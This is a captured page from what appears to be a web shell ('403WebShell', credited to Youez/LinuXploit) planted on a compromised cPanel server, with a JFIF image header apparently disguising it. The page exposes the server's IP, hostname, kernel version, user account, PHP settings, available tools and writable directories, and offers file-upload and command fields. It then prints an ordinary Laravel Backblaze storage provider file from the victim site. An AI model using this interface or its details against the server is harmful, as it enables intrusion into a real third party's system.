����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 18.222.227.24
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/builderbox/public_html/common/Files/Providers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/builderbox/public_html/common/Files/Providers/BackblazeServiceProvider.php
<?php

namespace Common\Files\Providers;

use Aws\S3\S3Client;
use Illuminate\Support\ServiceProvider;
use League\Flysystem\AwsS3v3\AwsS3Adapter;
use League\Flysystem\Filesystem;
use Storage;
use Arr;

class BackblazeServiceProvider extends ServiceProvider
{
    /**
     * Perform post-registration booting of services.
     *
     * @return void
     */
    public function boot()
    {
        Storage::extend('backblaze', function ($app, $config) {
            $region = $config['region'];

            $client = new S3Client([
                'credentials' => [
                    'key'    => $config['key_id'],
                    'secret' => $config['application_key']
                ],
                'region' => $region,
                'version' => 'latest',
                'endpoint' => "https://s3.$region.backblazeb2.com",
            ]);

            $root = isset($config['root']) ? $config['root'] : null;

            $options = isset($config['options']) ? $config['options'] : [];

            $adapter = new AwsS3Adapter($client, $config['bucket'], $root, $options);

            $flysystemConfig = Arr::only($config, ['visibility', 'disable_asserts', 'url']);
            return new Filesystem($adapter, count($flysystemConfig) > 0 ? $flysystemConfig : null);
        });
    }

    /**
     * Register bindings in the container.
     *
     * @return void
     */
    public function register()
    {
        //
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit